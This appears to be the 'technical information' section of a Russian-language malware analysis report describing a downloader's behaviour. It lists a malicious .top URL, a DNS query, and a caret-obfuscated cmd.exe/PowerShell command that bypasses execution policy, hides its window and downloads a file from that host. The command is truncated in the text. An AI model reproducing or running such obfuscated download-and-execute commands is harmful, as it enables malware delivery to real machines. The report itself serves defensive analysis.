Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "P^oWeR^S^hE^lL.EX^E -e^xe^cuTiOn^pOlIC^Y bYpass ^-NOPRO^FILE ^-W^iNdO^wS^TYle H^id^d^e^N ^(N^eW-^O^B^j^ect^ S^y^sT^E^m^.nE^t.wE^bcLi^E^nt^).dOWnLo^adfIlE^('http://www.zonedopesa....
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "P^oWeR^S^hE^lL.EX^E -e^xe^cuTiOn^pOlIC^Y bYpass ^-NOPRO^FILE ^-W^iNdO^wS^TYle H^id^d^e^N ^(N^eW-^O^B^j^ect^ S^y^sT^E^m^.nE^t.wE^bcLi^E^nt^).dOWnLo^adfIlE^('http://www.zonedopesa....' (со скрытым окном)